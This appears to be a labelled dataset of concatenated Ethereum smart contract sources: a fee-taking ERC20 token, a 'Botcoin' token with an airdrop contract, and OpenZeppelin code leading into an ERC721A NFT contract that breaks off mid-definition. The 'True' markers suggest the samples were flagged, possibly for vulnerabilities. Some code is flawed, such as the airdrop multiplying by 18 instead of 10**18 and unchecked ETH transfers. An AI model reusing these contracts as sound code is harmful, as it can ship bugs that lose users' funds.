emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// only use to prevent sniper buys in the first blocks.
if (gasLimitActive && automatedMarketMakerPairs[from]) {
require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when sell
if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
}
}
// airdrop limits
if(airDropLimitInEffect){ // Check if Limit is in effect
if(airDropLimitLiftDate <= block.timestamp){
airDropLimitInEffect = false; // set the limit to false if the limit date has been exceeded
} else {
uint256 senderBalance = balanceOf(from); // get total token balance of sender
if(_isAirdoppedWallet[from] && senderBalance.sub(amount) < _airDropTokensRemaining[from]){
require(_airDropAddressNextSellDate[from] <= block.timestamp && block.timestamp >= airDropLimitLiftDate.sub(9 days), "_transfer:: Please read the contract for your next sale date.");
uint256 airDropMaxSell = getWalletMaxAirdropSell(from); // airdrop 10% max sell of total airdropped tokens per day for 10 days
// a bit of strange math here. The Amount of tokens being sent PLUS the amount of White List Tokens Remaining MINUS the sender's balance is the number of tokens that need to be considered as WhiteList tokens.
// the check a few lines up ensures no subtraction overflows so it can never be a negative value.
uint256 tokensToSubtract = amount.add(_airDropTokensRemaining[from]).sub(senderBalance);
require(tokensToSubtract <= airDropMaxSell, "_transfer:: May not sell more than allocated tokens in a single day until the Limit is lifted.");
_airDropTokensRemaining[from] = _airDropTokensRemaining[from].sub(tokensToSubtract);
_airDropAddressNextSellDate[from] = block.timestamp + (1 days * (tokensToSubtract.mul(100).div(airDropMaxSell)))/100; // Only push out timer as a % of the transfer, so 5% could be sold in 1% chunks over the course of a day, for example.
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForBuyBack += fees * sellBuyBackFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForBuyBack += fees * buyBuyBackFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForBuyBack + tokensForDev;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForBuyBack = ethBalance.mul(tokensForBuyBack).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev - ethForBuyBack;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForBuyBack = 0;
tokensForDev = 0;
(bool success,) = address(marketingWallet).call{value: ethForMarketing}("");
(success,) = address(devWallet).call{value: ethForDev}("");
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
// keep leftover ETH for buyback only if there is a buyback fee, if not, send the remaining ETH to the marketing wallet if it accumulates
if(buyBuyBackFee == 0 && sellBuyBackFee == 0 && address(this).balance >= 1 ether){
(success,) = address(marketingWallet).call{value: address(this).balance}("");
}
}
// force Swap back if slippage above 49% for launch.
function forceSwapBack() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
require(contractBalance >= totalSupply() / 100, "Can only swap back if more than 1% of tokens stuck on contract");
swapBack();
emit OwnerForcedSwapBack(block.timestamp);
}
// useful for buybacks or to reclaim any ETH on the contract in a way that helps holders.
function buyBackTokens(uint256 ethAmountInWei) external onlyOwner {
// generate the uniswap pair path of weth -> eth
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(this);
// make the swap
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: ethAmountInWei}(
0, // accept any amount of Ethereum
path,
address(0xdead),
block.timestamp
);
emit BuyBackTriggered(ethAmountInWei);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-05-10
*/
/**
*Submitted for verification at Etherscan.io on 2021-03-01
*/
/**
*Submitted for verification at Etherscan.io on 2020-12-21
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.6;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () public { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) public _balances;
mapping (address => mapping (address => uint)) public _allowances;
uint public _totalSupply;
function totalSupply() public view override returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient,amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is ERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public{
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract BOTS is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
address public ownership;
constructor () ERC20Detailed("Botcoin", "BOTS", 18) public{
ownership = msg.sender;
_totalSupply = 100000000 *(10**uint256(18));
_balances[ownership] = _totalSupply;
}
}
contract Owned is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract AirDrop is Owned {
using SafeMath for uint256;
uint256 public claimedTokens = 0;
IERC20 public airdropToken;
mapping (address => bool) public airdropReceivers;
event AirDropped (
address[] _recipients,
uint256 _amount,
uint256 claimedTokens);
constructor(IERC20 _token) public {
airdropToken = _token;
}
function airDrop(address[] memory _recipients, uint256 _amount) external onlyOwner {
require(_amount > 0);
uint256 airdropped;
uint256 amount = _amount * uint256(18);
for (uint256 index = 0; index < _recipients.length; index++) {
if (!airdropReceivers[_recipients[index]]) {
airdropReceivers[_recipients[index]] = true;
airdropToken.transfer(_recipients[index], amount);
airdropped = airdropped.add(amount);
}
}
claimedTokens = claimedTokens.add(airdropped);
emit AirDropped(_recipients, _amount, claimedTokens);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-02-22
*/
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: contracts/DoodleMfers.sol
// Creator: BSF
pragma solidity ^0.8.4;
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintedQueryForZeroAddress();
error BurnedQueryForZeroAddress();
error AuxQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerIndexOutOfBounds();
error OwnerQueryForNonexistentToken();
error TokenIndexOutOfBounds();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// Whether the token has been burned.
bool burned;
}
// Compiler will pack this into a single 256bit word.
struct AddressData {
